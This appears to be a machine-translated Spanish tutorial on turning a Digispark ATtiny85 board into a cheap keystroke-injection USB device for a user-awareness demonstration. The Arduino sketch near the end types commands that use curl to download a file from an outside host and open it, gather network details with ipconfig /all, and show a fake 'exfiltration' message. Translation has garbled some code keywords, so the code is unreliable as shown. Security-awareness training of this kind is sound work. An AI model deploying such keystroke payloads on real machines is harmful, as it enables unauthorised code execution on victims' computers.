Quiero crear conciencia sobre el peligro de las unidades flash USB desconocidas

Mi objetivo

En el contexto de la formación de los usuarios de TI, es fundamental sensibilizarlos sobre los riesgos asociados al uso de memorias USB desconocidas.

Para marcar la diferencia, una demostración práctica es a menudo más efectiva que un simple discurso. Es por eso que quiero obtener una memoria USB capaz de simular daños en una computadora, para mostrar concretamente los peligros involucrados.

Los Duckys de goma son memorias USB utilizadas por los hackers, pero su costo es a menudo prohibitivo. Por lo tanto, estoy buscando una solución más económica para crear esta herramienta de conciencia.

En resumen, quiero encontrar una alternativa asequible a Rubber Ducky para que los usuarios sean conscientes de los riesgos asociados con el uso de memorias USB desconocidas, utilizando una memoria USB capaz de simular daños en un ordenador.

¿Qué son los Duckys de goma?

Rubber Duckys son memorias USB diseñadas para simular un teclado cuando se conecta a una computadora. A menudo son utilizados por los piratas informáticos para realizar ataques de inyección de pulsaciones de teclado, que consisten en simular pulsaciones de teclado para ejecutar comandos maliciosos en una computadora de destino.

Rubber Duckys están equipados con un microcontrolador programable que puede almacenar scripts pregrabados. Cuando se conectan a una computadora, se comportan como un teclado USB estándar y pueden enviar secuencias de teclas pregrabadas a una velocidad muy alta, lo que permite ejecutar comandos complejos en segundos.

Los Duckys de goma a menudo se usan para pruebas de penetración o demostraciones de seguridad de TI, pero también se pueden usar con fines maliciosos, como el robo de datos o la instalación de malware. Por lo tanto, es importante sensibilizar a los usuarios sobre los riesgos asociados al uso de memorias USB desconocidas y adoptar las medidas de seguridad adecuadas para proteger los ordenadores contra los ataques de inyección de pulsaciones de teclas.

Como se explicó en el párrafo anterior, mi objetivo es sensibilizar a los usuarios de herramientas informáticas y demostrarles la peligrosidad de insertar una memoria USB desconocida en su ordenador.

Aquí está el precio de Rubber Ducky, de ahí mi deseo de encontrar otra solución, el precio es eliminatorio por la utilidad que tendré.

Usaré un Digispark Rev. 3 equipado con un ATTINY85

Usaré un equipo mucho más ligero porque solo tiene 6k de memoria, pero eso es suficiente, no ejecutaré un script complejo.

Este equipo vale entre 5 y 7 euros.

Puedes pedirlo entre los chinos directamente orando para que tengas la versión correcta o en Amazon en lote de 3.

Los conectores no me serán útiles, no lo voy a flashear.

Restricciones del Digispark ATTINY85

Si comparamos un Rubber Ducky y un Digispark, nos damos cuenta de que el primer y principal límite es la capacidad de almacenamiento de scripts utilizables.

El microcontrolador ATtiny85 tiene 8 KB de memoria flash, pero parte de esta memoria se utiliza para almacenar el bootloader y el código del programa de la aplicación. En general, la cantidad de memoria disponible para almacenar datos en una clave Digispark ATtiny85 es de aproximadamente 6 KB. Para mi uso, esto es suficiente.

Las teclas Rubber Ducky tienen características avanzadas como la capacidad de simular dispositivos USB que no sean un teclado, como un mouse o un disco duro externo. Las teclas Digispark ATtiny85 son más limitadas en esta área y generalmente solo pueden simular un teclado USB. Eso también me conviene.

Descargo los drivers del Digispark

Instalaré los controladores Digispark en mi computadora personal. Si bien esto puede parecer una tarea compleja y delicada, es importante tener en cuenta que esta manipulación solo debe realizarse en mi propia computadora y no en las computadoras a las que se dirige la simulación de daños. De hecho, una vez que el Digispark esté conectado a una computadora, será reconocido como un teclado.

Por lo tanto, estoy cargando los archivos necesarios para instalar los controladores:

Una vez descargado y descomprimido, es el archivo que permitirá instalar los controladores.

Como este controlador no está firmado, normalmente Windows bloqueará la instalación, por lo que es necesario desactivar temporalmente la firma obligatoria del controlador.

Desactive la firma obligatoria de los pilotos

Deshabilitaré temporalmente la firma obligatoria del conductor en mi computadora. Esta operación no representa ningún riesgo y se cancelará automáticamente la próxima vez que se reinicie el equipo. Este paso es necesario para permitir la instalación de los controladores Digispark, que no han sido firmados digitalmente por un editor de confianza.

Voy a entrar en Configuración entonces Recuperación para pulsar el botón Reiniciar ahora

Luego, al reiniciar, elija Solución de problemas

entonces Opciones avanzadas entonces Configuración

El PC reiniciar y reiniciar, aquí están las opciones:

Quiero la opción 7, así que confío en F7.

Instalo los controladores de Digispark

Ahora puedo iniciar el archivo Instalar Drivers.exe

Instalo el IDE de Arduino

El entorno de desarrollo integrado (IDE) de Arduino es un software de código abierto para la programación de Arduino y otros mapas compatibles. Es él quien me permitirá introducir el código del script que quiero ejecutar y luego subirlo a la clave Digispark.

Nada muy complicado, todo se asienta por sí solo.

Estoy integrando el pack Digispark en el IDE

Para administrar la tarjeta Digispark, es necesario usar el paquete Digispark.

Lanzo IDE Arduino, entonces Archivo entonces Preferencias.

Tengo que completar elURL adicional del administrador de tarjetas

En todos los tutoriales y otros documentos que encontrará en Internet, este enlace se especifica:

Pero el día de mis pruebas, este enlace no funcionó, el sitio digistump es HS.

Aquí está el enlace que utilicé:

En Herramientas, Tarjetas, Administrador de tarjetas, mecanografía digistrump a continuación, haga clic en Instalar desde Tableros de Digistump AVR

A continuación, vuelva a seleccionar la tarjeta por defecto en Herramientas, Mapa, Digistump AVR Boards, entonces Digisdpark Por defecto 16.5mhz.

 

Instalo el teclado QWERTY

Para no quedar atrapado en la escritura de los comandos a enviar, instalo un teclado americano en QWERTY. Entonces, cuando ingrese comandos para ejecutar o mostrar, cambiaré el teclado a ENG.

Introduzco mi código/script

Aquí está mi guión:

#incluir <DigiKeyboard.h> void setup() { //pinMode(1, OUTPUT); // LED brilla más si se declara la salida digitalWrite(1, ALTO); // Enciende el led rojo (para indicar que la ejecución está en marcha) DigiKeyboard.delay(3000); // Espera 3 segundos DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // Abra una ventana de tiempo de ejecución de Windows DigiKeyboard.delay(500); DigiKeyboard.print("c;d"); // Escribe "cmd" DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_ENTER); // Simular el botón ENTRY DigiKeyboard.delay(500); DigiKeyboard.print("curl 6o;usic<p# https.>>uploqdsong<netlify<qpp>;usic<p#"); // Escribe "curl -o music.mp3 https://uploadsong.netlify.app/music.mp3" DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_ENTER); // Simular el botón ENTRY DigiKeyboard.delay(500); DigiKeyboard.print("ipconfig >qll"); // Escribe "ipconfig /all" DigiKeyboard.sendKeyStroke(KEY_ENTER); // Simular el botón ENTRY DigiKeyboard.delay(500); DigiKeyboard.print("salida"); // Escribe "salir" DigiKeyboard.sendKeyStroke(KEY_ENTER); // Simular el botón ENTRY DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // Abra una ventana de tiempo de ejecución de Windows DigiKeyboard.delay(500); DigiKeyboard.print(";usic<p#"); // Escribe "music.mp3" DigiKeyboard.sendKeyStroke(KEY_ENTER); // Simular el botón ENTRY DigiKeyboard.delay(1000); color int = 1; mientras que (color < 5) {DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // Abra una ventana de tiempo de ejecución de Windows DigiKeyboard.delay(500); DigiKeyboard.print("c;d"); // Escribe "cmd" DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(1000); interruptor (color) { casilla 0: DigiKeyboard.print("echo off1color )1cls1tree");// Escribe "echo off&color 0&cls&tree" break; Casilla 1: DigiKeyboard.print("echo off1color!1cls1trqcert *<*<*<*"); // Escribe "echo off&color 1&cls&tracert 8.8.8" break; Casilla 2: DigiKeyboard.print("echo off1color @1cls1PING google<fr 6n!)"));// Escribe "echo off&color 2&cls&ping google.fr -n 100" break; Casilla 3: DigiKeyboard.print("eco off1color #1cls1tree");// Escriba "echo off&color 3&cls&tree" break; Casilla 4: DigiKeyboard.print("eco off1color $1cls1trqcert *<*<*<*");// Escriba "echo off&color 4&cls&tracert 8.8.8" break; } DigiKeyboard.sendKeyStroke(KEY_ENTER); // Simular el botón ENTRY DigiKeyboard.delay(500); color++; } DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // Abra una ventana de tiempo de ejecución de Windows DigiKeyboard.delay(500); DigiKeyboard.print("notepqd"); // Escribe "notepad" DigiKeyboard.sendKeyStroke(KEY_ENTER); // Simular el botón ENTRY DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.print(" Cuco // Ordenador pirqt2< Do;;qge "); DigiKeyboard.sendKeyStroke(KEY_ENTER); // Simular presionando el botón ENTER mientras (color < 15) { DigiKeyboard.sendKeyStroke(KEY_ENTER); // Simular el botón ENTRY DigiKeyboard.print(" Exfiltrqtion of current data<<<<< "); retraso(300); color++; } digitalWrite(1, BAJO); // Apagando el bucle de vacío de Led Rouge }() { }

Lo comenté lo más posible.

Lo subo a la clave de Digispark

No conecto la tecla, inicio la compilación y subo con el botón con la flecha a la derecha:

Cuando la consola muestra el enchufe dispositivo ahora, puedo insertar la clave Digispark

La carga es extra rápida, ya sea que logré eliminar la clave antes de que se lance el script o me beneficié del primer lanzamiento del script de clave ….

Se acabó, la llave está lista.

Por lo tanto, para simular un ataque de inyección de pulsación de tecla, simplemente deslice la llave en un puerto USB.

Bibliografía para ir más allá